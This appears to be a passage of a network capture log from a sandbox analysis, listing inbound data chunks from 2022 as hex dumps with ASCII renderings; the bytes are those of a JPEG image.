2022-07-20 11:24:49 UTC	6799	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``CC8"}!1AQa"q2
2022-07-20 11:24:49 UTC	6814	IN	Data Raw: ea 97 da a4 a3 ed 52 50 0a a4 51 a3 1c 74 95 9f f6 a9 29 f1 cf 1d 2b 15 ed 13 34 7c ba 3c ba a5 f6 8a 7c 77 55 25 f3 2e a4 db 29 7c 8a 67 da a3 a7 f9 f1 d0 26 d3 0f 22 93 65 2f 9f 47 99 ef 40 f9 57 41 36 51 b2 97 cc f7 a3 cc f7 a0 a1 2a 5e 6a bf 99 e5 d1 e7 50 05 8e 69 db 0d 55 f3 28 f3 d2 98 9b 4b 72 dd 26 c3 50 f9 9e f4 ff 00 32 90 c9 e8 a8 3c ca 3c f8 e8 02 7f 2e 8a 83 cc a3 ed 14 01 3d 15 1f 9d 1d 33 ed 74 01 66 97 cc f7 aa 5f 6b 92 9f f6 ba 56 25 37 d0 bd cd 1c d5 4f b5 51 f6 aa 39 59 77 2d 79 94 bc d5 4f b5 54 9f 6b ac f9 5f 50 b9 37 99 52 55 5f 3a 8f 3a 8e 50 65 aa 2a 0f b5 53 3c ea 39 44 5a a7 d5 2f b5 d1 e7 51 ca 05 df 2e 8a ab f6 aa 3c fa 4d 58 65 aa 3c ca 83 cc a6 79 f4 25 70 b1 6a 8a ab e7 d3 fe d1 43 56 0b 13 d1 50 7d a2 99 be 4a 90 2d 51 55 Data Ascii: RPQt)+4\|<\|wU%.)\|g&"e/G@WA6Q^jPiU(Kr&P2<<.=3tf_kV%7OQ9Yw-yOTk_P7RU_::PeS<9DZ/Q.<MXe<y%pjCVP}J-QU
2022-07-20 11:24:49 UTC	6830	IN	Data Raw: de bf 9d a7 6a 71 ff 00 ab 9a 1f 93 ff 00 1e af 77 07 8f a1 25 cd 4a 71 9c 57 54 d3 fc 8c 67 4a 71 56 6a c7 e8 3c ff 00 15 3c 09 ff 00 09 0c da 43 f8 db 4f fe d3 8e 5f 2a 4b 49 ae fc 8f 2d ff 00 e7 9e e6 ae 96 fb 4a f2 fc 9d ff 00 eb 6b f3 fa 7f ec 59 21 ff 00 8a e7 47 d4 3c 45 14 9b e5 fb 5e 85 76 89 75 ff 00 6d 3e 53 ff 00 02 cd 7a 37 c0 ff 00 8c 52 78 7f c6 da 0d 95 ef 8f 26 d4 7c 05 a8 ef 8e 4f ed 79 5f 7d 82 2f dc dd b9 7e 4c 7f b1 f2 d7 bb 43 15 1a cb 9a 32 4d 79 1c 32 a0 ed 65 a3 3e b1 8e 0b 4b 79 b7 cf fe ab fe 98 d3 24 92 09 3e 74 86 68 65 8f fe 9a d1 3f 8c 7e 19 47 77 0f 91 e3 cd 26 ee 29 3f d6 43 35 da 6f ab b7 df 64 bc 87 cf d3 a1 b4 9a c6 4f f5 73 43 2e ff 00 33 fe 04 b5 dd 1a 91 9b b4 4e 79 42 50 dc a5 fd b1 3c 7f 27 ee bc af fa e4 95 97 75 Data Ascii: jqw%JqWTgJqVj<<CO_*KI-JkY!G<E^vum>Sz7Rx&\|Oy_}/~LC2My2e>Ky$>the?~Gw&)?C5odOsC.3NyBP<'u
2022-07-20 11:24:49 UTC	6832	IN	Data Raw: e9 ba ad a4 93 7f cb 68 65 ff 00 a6 34 4a 53 b6 ba a0 69 2d 82 3b 1f ed 09 b6 3c df e9 3f f4 da 5a b5 fd 9b 07 93 bd e6 fe d1 f2 ff 00 e5 8c 32 d4 77 50 41 e4 cd 74 9e 4f 9b 27 fc b1 f3 7e 7a e7 bc f4 8f ef ff 00 cb 4a 88 de a2 d1 94 ed d4 d4 fb 2d a7 ef 9d fc ef fa 69 e7 51 f6 e9 23 87 c8 82 68 7e cd ff 00 7c 53 ff 00 b6 13 f7 30 3c 3f e8 d1 fe f7 ce ff 00 9e 95 0c 93 d8 5e 7c ef 0f d9 25 ff 00 a6 31 7c 94 6b 2f 89 12 d5 88 e4 d2 a3 b7 d4 37 bf ef a2 93 fe 78 cb 5d 16 8f a3 f8 4e 48 77 eb d7 9a b6 9d ff 00 3e df 63 89 27 4f f8 1a b7 cd 5c 87 d8 6e 23 bb 85 2d 6f 21 9b fe 98 fd ca bb 1c 10 5b f9 cf 7b 34 d3 4b ff 00 3c 61 fe fd 6b 7b fd a1 47 dd 77 68 d8 d7 2d 60 d3 e6 87 fb 22 6d 3f 51 b5 b7 8f f7 77 70 ef 4f 31 3f dd 6f e2 aa b0 47 1f d9 36 5d 59 cd e6 Data Ascii: he4JSi-;<?Z2wPAtO'~zJ-iQ#h~\|S0<?^\|%1\|k/7x]NHw>c'O\n#-o![{4K<ak{Gwh-`"m?QwpO1?oG6]Y
2022-07-20 11:24:49 UTC	6848	IN	Data Raw: 9f 4b d4 a1 bb 8a 4f f5 7e 4d 68 fd 96 be 34 d1 fc 69 7f a7 c3 33 e9 17 97 7a 75 8f fc f6 ff 00 e2 6b a8 d3 7e 3b f8 c3 4f fd cf f6 94 3a 8f ef 3f d7 5e 45 f3 ff 00 bb 42 94 ba 9a 5e c7 d4 1f 64 ab bf da 5e 5e 93 35 92 59 c5 0c b2 7f ac bb fe 3a f9 ea 0f da 4f 52 fb 5f ef f4 7d 3f ca ff 00 96 9e 4c af 5b d6 bf b4 9e 9b e4 c3 f6 ad 1e ee 19 7f e5 a7 93 2a 51 74 f7 34 8c da 57 47 a9 ec 92 8f de 57 0d 63 f1 df c1 fa 87 93 be f2 6b 4f 33 fe 7b 45 5d 7e 95 e2 6d 27 5c 87 7e 9d a9 5a 5d ff 00 d7 19 6a d3 4f 62 53 5d cb 5f bc fe 3a 2b 9e d7 3e 23 78 7b c3 f3 4d 04 f7 9e 75 cc 71 f9 be 4c 3f 3d 79 96 ab f1 df 52 b8 86 68 2d 74 d8 74 e9 64 ff 00 57 37 df aa be 97 27 99 1e dd fb ca 65 7c c5 3f 8f f5 db 89 bc f7 d6 35 0f 37 fe ba d6 dd 8f c6 df 12 e9 70 f9 13 cd 69 Data Ascii: KO~Mh4i3zuk~;O:?^EB^d^^5Y:OR_}?L[*Qt4WGWckO3{E]~m'\~Z]jObS]_:+>#x{MuqL?=yRh-ttdW7'e\|?57pi
2022-07-20 11:24:49 UTC	6864	IN	Data Raw: 7e 9f be 8b cb ff 00 5d 0f ff 00 13 57 4e bf 3a b3 7a 99 38 25 b1 4a d7 cb f3 bf d1 7c e8 bc cf f5 93 4d 2d 75 7e 0e b1 f0 f4 77 77 9f db 77 97 7e 57 97 e5 79 d0 c4 9f 7f fb bb 9b f8 3f dd f9 ab 8d 82 7f ed 0f 39 d3 c9 86 db fd 5f 9d e5 56 df 82 f5 2f f8 45 f5 6f ed 7d 23 ed 73 5c d9 7e f6 da ef ca 4d 9b e8 ae 95 9d de a1 17 67 72 0f 3e 09 2d 3e 7f b5 c3 2d bf ee a3 87 fe 7a 3f fc 0a a7 d4 af a0 b8 87 f7 1f 64 f2 ad e3 ff 00 5d 0c 5f 3f ff 00 b7 55 6e a3 93 ce df 75 e7 79 52 48 f2 c9 34 d2 ef 7a a5 3c 96 9e 4f 90 9e 77 95 49 25 26 ba 81 a9 a5 41 3e b9 34 36 56 b0 f9 d7 37 1f f2 c6 6d 9f f8 f3 b7 dd a8 35 c8 27 d3 e6 ff 00 53 f6 49 63 fd d7 ee 65 df f3 d4 16 b0 4f fd 9f 36 a3 6b 67 77 f6 18 e4 fb 34 93 79 5f c6 df de ff 00 68 d1 3f ef 26 86 04 9a 6f dd ff Data Ascii: ~]WN:z8%J\|M-u~www~Wy?9_V/Eo}#s\~Mgr>->-z?d]_?UnuyRH4z<OwI%&A>46V7m5'SIceO6kgw4y_h?&o
2022-07-20 11:24:49 UTC	6871	IN	Data Raw: e9 33 43 15 67 5d 6a ba d6 a1 a8 79 09 f6 bf 37 fe 5a 7f 72 3f fd 96 ba 89 24 b0 d6 3e 74 9b fd 26 39 7c a8 e1 87 7f df aa 52 4d 7f 71 0f 90 9a 3c 31 58 c7 ff 00 2c 7e e7 ff 00 65 5b 42 b4 2f a4 75 f3 21 c6 e5 af f8 48 e7 b8 9b ec b3 d9 cd fe ad e2 fd cc 5f 25 4d 75 e4 69 f0 c2 9a 5c 3f ba f2 d3 cc 9a 68 bf f6 5a de ba f1 1e ad a5 da 42 ff 00 be f2 bc bf dd cd 67 17 fa b4 ff 00 72 b9 1b ab af f4 bb cb ab ab cf 3a 29 3f e9 96 cf f8 0d 66 a4 a6 ae b6 37 95 bb dc 24 b5 9e df e7 f3 a1 9a 59 3f cf dd a8 ef b4 db bb 88 77 c7 34 df 66 ff 00 3f de a2 4d 56 3b 7b b8 76 43 e7 5f 49 fb aa b5 7d a9 7d 8e 19 be c5 fe 97 2c 7f f2 e9 e6 fc 95 a2 9c d3 56 32 21 82 49 ef 3f d7 f9 d0 db 47 1f ee e6 f2 be 4a b5 fd 9b 07 fc 7d 3d e5 a4 31 7f cf 1f 37 fd 65 65 c9 3f da 2d 21 Data Ascii: 3Cg]jy7Zr?$>t&9\|RMq<1X,~e[B/u!H_%Mui\?hZBgr:)?f7$Y?w4f?MV;{vC_I}},V2!I?GJ}=17ee?-!
2022-07-20 11:24:49 UTC	6887	IN	Data Raw: 4d 56 0b 3f 3b fb 47 4d 86 19 64 ff 00 59 f6 c8 bf d6 7f ec d5 d0 aa 3d b9 6f e5 72 5a 5d 06 49 1f d8 ed 37 de cd e4 cb 71 fe ae 1f 29 d3 cb ff 00 81 7d da 7d 8f 9f 79 0c cf 1f ef a5 b8 fd d4 73 7d cf 93 ff 00 65 aa b3 c7 fb ef b6 f9 32 c3 63 1c 9f 69 fd f4 5b fe ef fb d5 6a 7f 10 6a 57 13 43 f6 df 3a 1b 6b 8f de c7 e4 c3 e4 7c 9f ec 56 72 8b 92 d0 34 b5 d8 4f 1c 9a 7c de 43 de 7d ae 5f fa 73 de 8f 1f fb b4 fb ed 36 d2 4f f8 fa 9a ef 51 96 3f f9 63 fc 7f ec ee a2 0b e8 24 d3 fe ca 9a c5 dc 32 dc 6f ff 00 5d 17 cf 59 72 49 26 8f 6b 0d ab f9 d7 7f bc 7f 2f c9 a2 1c cf 7d d7 e2 4b b3 77 19 75 05 fc 7e 4c 1f db 16 9e 6c 9f ba f2 7e 4f dd d4 f7 de 1c bf 8e 68 5f f7 33 7f cf cf db 36 6c a2 d6 fa 3d 2e 1f f8 97 43 fe b3 fd 67 9d 17 fa ba e7 6e b5 59 3e d7 36 cf Data Ascii: MV?;GMdY=orZ]I7q)}}ys}e2ci[jjWC:k\|Vr4O\|C}_s6OQ?c$2o]YrI&k/}Kwu~Ll~Oh_36l=.CgnY>6
2022-07-20 11:24:49 UTC	6903	IN	Data Raw: 39 68 95 87 52 8c e3 14 e4 b4 65 2d 2b cf b3 d3 ec fc fb 39 a1 8a 48 fc db 6b 4f 2b e7 91 17 f8 bf dc aa 37 5e 20 b4 d1 e5 85 ed 6f 26 9a 2b 8f f5 90 cd 16 cf 2f ff 00 8b a3 55 f0 fc f6 f3 79 f3 eb d0 e9 d1 49 fb a8 fc e9 7c f7 ff 00 80 d4 fe 03 f0 04 1a 85 dc d0 6a 3e 30 d3 f4 8b 6f 2d fc bb bf b2 4f 75 07 fc 0b 67 ad 4c 67 87 92 75 1c af 7f 26 67 1b c9 d9 18 9a 6f 83 a4 d6 34 ff 00 ed 18 35 88 6d 23 92 47 8b fd 32 2f fc 7b 75 6d e8 fe 0b bf b3 fb 67 d8 bc 55 a4 cd 17 c9 1d cd df 9b fb fb 7d df f3 c9 3f 8f 3f c5 5a 91 e8 fa 6f da fc 97 9a ee 6b 6b 7f dd 5b 5a 43 f2 26 c5 ff 00 c7 be 6a c8 4f 32 39 a6 78 21 f2 65 f3 3c df 3b ec 94 4b 1c e7 cc 93 d3 d0 7e ce ce f6 0b 4f 0f f9 76 bb 1f 52 86 ee da e7 fe 3e 66 f2 bf d5 d5 ab af 08 d8 59 e9 3b 2d 66 9a 1f f9 Data Ascii: 9hRe-+9HkO+7^ o&+/UyI\|j>0o-OugLgu&go45m#G2/{umgU}??Zokk[ZC&jO29x!e<;K~OvR>fY;-f
2022-07-20 11:24:49 UTC	6911	IN	Data Raw: 4b 52 a5 4d c5 6a 60 dd 4f 77 e2 09 a6 83 4e b3 9a ef ec fb 25 f2 7c af 9f 67 fe 83 57 74 df 15 5d e9 7a 84 ce f0 f9 37 31 c7 fb cb 4f 37 c8 4a 34 3d 4b 41 b7 9a f2 74 f3 a6 f3 3f e5 b7 fc f3 ab be 67 f6 e4 d3 5a e9 d0 cd 35 f4 96 df bb f3 a5 4f f4 7f fa e9 fd da de 72 6a f0 94 2d 13 34 9d ae 82 3f 88 1f db 17 7e 45 d4 3f eb 3f 75 1c df f2 c2 df f8 be 6f ef d4 3e 26 f1 37 88 64 86 6b 54 d7 ad 3e c3 fe aa 3f 26 5d 9f 77 fb ab fe cd 5a b5 f0 1f f6 7e 87 e5 f9 d3 5d fe f3 cd b9 f2 7f bf fd dd df dd ac 19 fc 2b 26 b9 0c db 34 df 2a da 3f dd 49 37 dc f2 ff 00 e9 9f fb 35 94 23 85 e7 e6 5f 67 41 bb c5 5a 47 43 e1 cb 18 f4 ff 00 f4 db ab c9 bc d9 23 ff 00 53 0f dc 93 fb bb aa 08 e4 b0 d2 ed 26 df 67 69 37 ef 3f 75 e7 4a ef e5 a7 f7 7f da a2 08 2f fc e8 6f 7f d1 Data Ascii: KRMj`OwN%\|gWt]z71O7J4=KAt?gZ5Orj-4?~E??uo>&7dkT>?&]wZ~]+&4*?I75#_gAZGC#S&gi7?uJ/o
2022-07-20 11:24:49 UTC	6927	IN	Data Raw: ff 00 db 9d 5c 64 b9 ac 90 88 20 d2 ae ed e1 df 7b fe aa 38 ff 00 77 fb af fd 0a a7 82 7b bb c8 7e 49 a6 ff 00 b6 3b e9 f6 b7 df da 16 9e 7d d4 d3 43 14 92 7e ee 1f fd 96 89 20 d6 be ff 00 93 f6 4f fa 65 ff 00 3c ff 00 ef 9a 6e 6f 55 3b 27 f7 01 04 70 5d f9 3b 2f 66 fb 5c bf f2 ed 5a 37 d1 da 7e e6 07 fd cc b1 ff 00 cb 69 a9 9a 6c 9a d4 73 42 f0 43 34 d1 7f d3 68 93 64 95 1c 9e 2e bb b8 bb f2 1f 47 fd ef fc b4 9b f8 eb 26 e7 29 2b 24 ed d8 08 74 d9 3c cd 43 7a 79 3a 8d b4 7f ba fd cc 55 a1 75 6b a4 c7 0c cf f6 3f b2 4b ff 00 4c 6a 48 2f be cf a7 cc ef fe 89 e6 7f cf 18 b7 ff 00 df 54 41 75 24 73 79 ff 00 da 53 7d 9b fe b9 54 4a 4d bb ed 6d 06 88 34 df 10 58 78 4f c4 3a 6e a9 04 30 c3 7d 65 27 9b 6d fc 69 bf fe 7a 79 7f 76 b2 f5 2d 73 fe 12 0d 42 f2 74 9a Data Ascii: \d {8w{~I;}C~ Oe<noU;'p];/f\Z7~ilsBC4hd.G&)+$t<Czy:Uuk?KLjH/TAu$syS}TJMm4XxO:n0}e'mizyv-sBt
2022-07-20 11:24:49 UTC	6943	IN	Data Raw: 37 c9 b3 d8 fe 5f fd 33 f9 eb 2a 95 31 18 79 5b 93 9a 3d 15 ec ff 00 26 4a 8a 93 d5 d8 f2 fd 37 c4 7f d9 ff 00 f1 eb e4 fe f3 f7 5f ec 55 dd 36 1b bf 12 6b 9f f1 28 86 6f dd c7 fb c9 be 7f dd ff 00 b5 ba bd 1a 3f 15 69 36 7f e8 56 be 15 d3 ed 35 39 3f dc 83 cc ff 00 75 ab 9e f0 5c fa d7 83 fc 4d 78 f6 b6 7f d9 d6 da 8d cf ee fc ef f5 31 ed ff 00 6a 88 e3 25 28 ce 4a 9f 2c ed a5 da 77 fb 83 96 17 b5 cc bd 0f c0 f7 fa a6 b9 e4 3c df 6b b5 ff 00 9e de 6e c4 8f ff 00 88 ae d7 c7 9e 5f 82 fc 3d b2 d7 5e fe d1 97 fe 59 da 79 3f b8 d9 ff 00 a0 b5 74 36 be 20 b4 d7 26 ff 00 4d d3 7e d7 73 e6 7d a6 49 bc af dc 6f fb bf c3 ff 00 b3 56 5e ab 1c 96 77 57 9f 6d d1 ed 3c a9 24 4f b3 79 df 22 7c bf 77 e5 af 1a 58 aa d5 ab c5 55 56 e5 fb 3a 6a 74 7b 38 c5 69 b9 97 e1 cf Data Ascii: 7_3*1y[=&J7_U6k(o?i6V59?u\Mx1j%(J,w<kn_=^Yy?t6 &M~s}IoV^wWm<$Oy"\|wXUV:jt{8i
2022-07-20 11:24:49 UTC	6951	IN	Data Raw: 7f 73 04 f9 b4 f5 d1 17 0a 73 a8 f9 60 ae c2 fa fa ee 38 7c f8 21 87 ff 00 40 ae 6a ea 6f ed 89 b6 24 d7 70 f9 7f f2 c7 ff 00 b2 ad 4f 10 4f 06 97 6b e4 3f 9d 77 73 ff 00 3c 7f e7 a5 1a 3f 87 f5 a9 3f 7e f0 cd f6 69 23 f3 63 ff 00 f6 68 a6 a3 4e 3c ef 4e c0 e3 2b d9 23 12 0f ed 2f ec f9 93 fe 3e fc b9 3f d4 f9 b5 6a d7 4d bb bc 9b ed 4f fb 98 a4 8f ca 8f f8 eb 6f 55 f0 fd fd bd a4 2e fa 6c de 57 fd 75 ff 00 d0 ab 9e 8e 38 24 bb d9 e4 cd 69 7d fe ab fe fa ae 98 cf 9d 69 6f 91 9f 2b 8e e6 bd 8e 87 25 c7 fa 8b c8 6d 2d bf e5 9f 9d f7 ff 00 e0 35 3c 7a 55 86 97 69 ff 00 1f 93 4d 7d e6 7e f3 ff 00 89 a9 a3 b1 bb d2 ed 21 d3 92 19 bc a8 ff 00 e5 b5 e7 dc a9 2f ad 6f ed e6 b3 d9 0d a4 31 49 27 ee e1 87 63 bd 72 7b 49 49 d9 4b 7f 91 64 70 58 dd eb 13 4c 93 f9 33 Data Ascii: ss`8\|!@jo$pOOk?ws<??~i#chN<N+#/>?jMOoU.lWu8$i}io+%m-5<zUiM}~!/o1I'cr{IIKdpXL3
2022-07-20 11:24:49 UTC	6967	IN	Data Raw: 68 e5 f2 a4 fe 04 ac 4d 36 08 e3 f9 2e a1 fe d7 f3 3f 75 e4 de 4a 89 5e 9b 06 87 05 bd 9c d0 41 67 0d a4 b1 c7 fb bd 3f 48 bb ff 00 57 fe d3 49 fc 6f 5a d7 a8 e8 53 f6 6f 56 de e4 27 cc ee 6a 6b 1e 23 fb 3f fa 12 4d 69 0c 52 47 fb b8 7f d7 fc eb fd ed b5 e2 9a c5 8e a5 67 36 fb af f5 5f f8 fd 5a d4 ae ae fe d7 be 78 7c 9f 32 4f f9 63 ff 00 2c de a0 d6 24 fe d0 d3 fc f7 f3 a6 b9 ff 00 96 7e 77 c9 5b 60 f0 cb 0a ac b6 7b 8a 6e ee c7 4b e1 5d 47 c3 52 79 33 eb 73 5d ff 00 6b db c7 fe 8d 34 d2 fe e2 3d b5 4a fb c4 1a 66 97 e2 1b cd 52 ea 18 66 96 48 ff 00 77 0c df f2 d1 db ef 49 f2 d7 9f cf e6 5c 7c 9f f2 d6 3f de c7 ff 00 4c eb 47 47 f0 ce a5 e2 4f de 41 0f ee bc cf 2b f7 df fb 2d 75 7d 52 92 93 a9 52 6e cf cf 4f 90 3b bd c9 f5 5d 2a 3d 53 c9 9f 4b ff 00 97 Data Ascii: hM6.?uJ^Ag?HWIoZSoV'jk#?MiRGg6_Zx\|2Oc,$~w[`{nK]GRy3s]k4=JfRfHwI\\|?LGGOA+-u}RRnO;]*=SK
2022-07-20 11:24:49 UTC	6983	IN	Data Raw: ff 00 3a 68 6e 63 93 fd 4c db f7 ff 00 f6 7f f0 3f bb 50 68 ff 00 10 ad 2e 3c 33 67 a5 eb 70 fd ae 29 2e 7f 77 34 3f eb a4 ff 00 79 aa 94 fe 34 92 4b 49 af 6e a1 bb fe dc b7 df 14 9f bd f3 d3 c9 5f 9b e7 ae ba 4f 03 df ea 1a 7d 9e f9 bc eb 6b 78 92 59 22 86 24 ff 00 c8 49 fe ed 66 92 a3 4a 34 f1 1b ae b7 b7 dc 5f 33 9b bc 4d 1f 0e e9 57 fa 5e 9d 0d ad d5 e7 93 63 e6 79 bf f1 f7 be 79 1f fb ac bc ef a8 2e bc 33 3d e6 a1 79 06 9d a9 5d fe f3 f7 bf da 13 6f 74 8d 3f e0 3e b5 9f a6 f8 47 c4 36 73 5e 41 75 a9 4b a1 e9 9f eb 6d a6 87 f7 f3 ff 00 d7 2f f7 2b 7b fb 73 fd 13 fd 0b 58 b4 d3 a5 ff 00 55 1d a7 ce 9e 64 df c5 fe ea 7e 15 e7 4e a7 2c 9b 84 ae df dd a9 71 8b 6b de 47 35 e2 6f 87 36 17 13 79 fa 24 d0 da 79 9f ba b9 86 cf e7 fb 47 f0 ff 00 c0 6a d5 f6 9b Data Ascii: :hncL?Ph.<3gp).w4?y4KIn_O}kxY"$IfJ4_3MW^cyy.3=y]ot?>G6s^AuKm/+{sXUd~N,qkG5o6y$yGj
2022-07-20 11:24:49 UTC	6991	IN	Data Raw: 6a d0 bc f3 79 31 f9 9e 65 b4 be 4f fa cf ee fd da e4 7c 2b e2 09 ef 2d 7e 4b cb 4b b9 64 ff 00 96 33 4b fc 1f dd 66 ae a3 c2 17 df db 1a e4 3f 6a 9a 2b 4f f9 67 1c be 6f c9 23 c9 ff 00 2c a4 fe ea 57 0d 7c 46 33 0b 19 35 aa 8e ef a9 d1 1a ee a2 b4 87 f8 7e 4b 0b cb 3b cb 5d 47 4d fb 5d cc 9f bc b6 bb 87 fd 7c 6e bf 2e ff 00 c2 ad 69 5e 1b d2 64 f1 0c 33 cf 0f da e4 ff 00 a0 7c 32 bc 3e 7b ff 00 d3 37 5a c9 f8 b1 e3 c9 2e 35 6f ec ed 1f 47 ba d3 fe cf be db ec b3 4b fb 9d eb f3 7e ee b9 0f 03 fc 46 d5 be d9 32 5e de 7f a0 dc 4a 9f b9 86 5f 27 cc 75 fb 9b 3f f8 ba e7 85 4c ca b6 16 55 b6 e6 57 b3 7a fe 1f d3 21 d5 84 5d 9e b6 3e 84 fd c5 bd de bd 06 91 a6 c3 a7 5f 7f c7 8d cd a7 fc b7 8f 6f fc b4 8d bf f4 2f e2 aa 56 be 1c bf 92 69 93 51 bc fd d5 94 69 fe Data Ascii: jy1eO\|+-~KKd3Kf?j+Ogo#,W\|F35~K;]GM]\|n.i^d3\|2>{7Z.5oGK~F2^J_'u?LUWz!]>_o/ViQi
2022-07-20 11:24:49 UTC	7007	IN	Data Raw: 73 91 d2 6a 5e 2a bf d0 e1 d3 6e b5 18 6d 3f b3 23 8d 3e cd a1 c3 2f fa bf f7 ab 91 b1 f8 8d ad 59 c3 e4 5a cd e4 d8 f9 9e 6f 95 0f df d9 fd dd d5 76 7f 87 ba 4c 9f 3c 7e 30 fb 5c 5f 66 4f df 7d 93 e4 ff 00 3f ef 57 a3 78 57 c1 5e 08 f0 df 9d 25 ee 9b ff 00 09 17 fa 32 79 7f 6c 95 d3 cc 7f ef 6d af 3a 55 70 74 61 ef c5 cd bf ee bb 7e 3f f0 e5 ae 69 3d 5d 8e 7b c2 b2 6a 5e 38 d7 26 9f 4e f0 df da ec 64 8f cd 92 18 7e 44 df fe ff 00 f7 ab b1 d7 3c 23 e2 1d 1f 49 86 77 b3 b4 fd e6 ff 00 2e d3 fb 43 ed 49 b3 fc fd ea d1 8e 39 3c 37 a1 cd 06 91 34 3a 1e 87 73 be e6 db ce 95 df cb dd fd de bf f7 cd 43 a7 6b 96 1a 1c 53 5a da de 6b 72 f9 7f ba 92 5f 91 ec a7 9b fd 85 af 06 a6 65 ef af 65 0b c5 6c 92 bb f9 bb db ee 2d 72 c5 6b ad cb 5e 0e f0 cc 1e 17 d3 ec e0 86 Data Ascii: sj^*nm?#>/YZovL<~0\_fO}?WxW^%2ylm:Upta~?i=]{j^8&Nd~D<#Iw.CI9<74:sCkSZkr_eel-rk^
2022-07-20 11:24:49 UTC	7023	IN	Data Raw: 00 d9 6b ab 93 5c 83 4f 9b 4d b5 4f b2 7d a6 49 24 8f c9 86 2d 9f 3f fe cc 95 e7 9a 74 7a 4e 9f ae 43 ad 7f c2 49 a8 6a f7 36 f1 fd a7 fb 3f f7 70 79 7f dc dd fe ef f7 6a 78 fc 47 07 8a 35 0f 3f ce 9b 57 b9 f2 fc a9 2d 2f 22 f2 3e ef fc b5 93 6f cb ff 00 c5 56 ce 8b aa 97 f2 c5 6b a3 5a fc fb 19 73 2b 58 db 92 fb 49 d6 2d 3c f9 e6 b4 fb 0d c5 cf ee e1 9b e7 f2 fc bf ee 2f f7 68 d6 27 8f 4b 9a 1d 3a f7 5e f2 7e db b2 2b 6f b1 c5 e7 fc ed f7 77 2f f7 bf d9 5a f1 4b ad 56 d3 4b d5 bc fd 2e 6f b5 db 69 d6 4f 17 95 f3 ec b8 dc ff 00 c3 b6 8d 0f c7 ff 00 68 f1 15 9f f6 bd 9c 37 76 de 62 79 7f c0 f6 9f ed 26 da f6 ff 00 b2 ea 72 f3 d3 93 69 2b db 4b f9 6f 73 25 51 ad 8f 64 f1 1f 87 e0 d7 35 0f ec 19 f4 78 61 97 4e b6 49 63 bb 86 ed 12 78 f7 7f 79 97 ff 00 41 6a Data Ascii: k\OMO}I$-?tzNCIj6?pyjxG5?W-/">oVkZs+XI-</h'K:^~+ow/ZKVK.oiOh7vby&ri+Kos%Qd5xaNIcxyAj
2022-07-20 11:24:49 UTC	7031	IN	Data Raw: c7 6b d4 3c 33 63 a6 ff 00 67 c2 9a 75 9c d6 9a 64 91 bf ee 7f 8f 7f fc 0b e5 e6 b5 ed 7c 41 a6 e8 f3 43 75 06 9b e7 45 e6 3c 5f 6b 9b fb ff 00 f4 cd 6b c2 54 95 29 de 2b fa ff 00 82 54 68 2b 9c a6 8f a1 ff 00 c4 bf cf 78 75 08 75 3b db 6f b4 f9 d3 43 f6 5f b2 7f 77 fc fd ea 83 ed d7 71 c3 33 c9 79 a4 e9 d1 7c 91 79 3f 7f fe d9 b3 7d e9 58 ff 00 79 bf e0 55 d4 78 ab e2 14 fe 20 b4 d8 fa 94 3f 61 ff 00 96 7f 63 f9 ee a3 db ff 00 2c ab 83 7f 0e 4f 1f 9d 7a f3 7d ae fa f7 fe 99 26 ff 00 9b e5 ff 00 80 2e da d2 34 9c 20 dd af 7e e6 b3 8a 8a e5 89 af a5 58 d8 6b 1f 3d d7 8a a1 9a 2b 89 3e d3 fe b5 dd fc e8 fe ee d9 1f ff 00 41 fb b5 c8 f8 ff 00 55 92 49 a6 f2 3e c9 fb c8 e0 b9 f3 a1 9b f7 17 09 fc 5f ec be ea e7 6e bc 33 e2 19 3c 4d 67 a5 c1 e4 cd 15 bd ca 5b Data Ascii: k<3cgud\|ACuE<_kkT)+Th+xuu;oC_wq3y\|y?}XyUx ?ac,Oz}&.4 ~Xk=+>AUI>_n3<Mg[
2022-07-20 11:24:49 UTC	7047	IN	Data Raw: d7 ff 00 1e e9 fe ca 37 cd ba ba 1f 1c 78 d3 49 b3 9a 1b 58 2f 26 fd e7 fc 7b 7e f7 7d af cd fd ed 9e 95 e4 be 11 f0 8e a5 e2 8b bd e9 a0 f9 3e 5f ee be d7 79 13 a2 7f df 5f df ad 7b ef 86 52 78 5f 50 87 fd 32 1d 5e c7 cb 79 64 fb 5c 4e 9f 60 7f e3 93 6d 74 3a 78 45 89 e5 ab 56 f3 5f d7 71 c6 a4 a3 17 73 52 c7 c3 96 17 9a 1e c4 d6 3e c9 14 7f ba f2 7e 77 79 3f bc c9 fd da 35 8f 1c 5f db cd 36 89 f6 cb b9 ad a3 d9 17 ef a5 df e5 ff 00 c0 eb 83 f1 1c 1a 95 c6 ad a3 d9 69 7e 74 d7 5e 5a 4b 6d 0f f1 c8 ff 00 de a6 6b 9a 1e ad e1 bf f4 ad 52 68 7e d3 27 ee ae 61 fb 5a 3c f1 bf f1 6e 5a f6 e9 d0 a6 da e7 92 77 d5 2e a3 e7 76 b2 37 ad 7c 5d ab 47 35 e2 27 fa 25 b7 99 fb b9 bf dd fe f3 56 a7 c4 6b a8 fe 20 78 23 7e a3 67 69 fd af 1c 89 14 7a 85 9e cf ef ff 00 1f Data Ascii: 7xIX/&{~}>_y_{Rx_P2^yd\N`mt:xEV_qsR>~wy?5_6i~t^ZKmkRh~'aZ<nZw.v7\|]G5'%Vk x#~giz
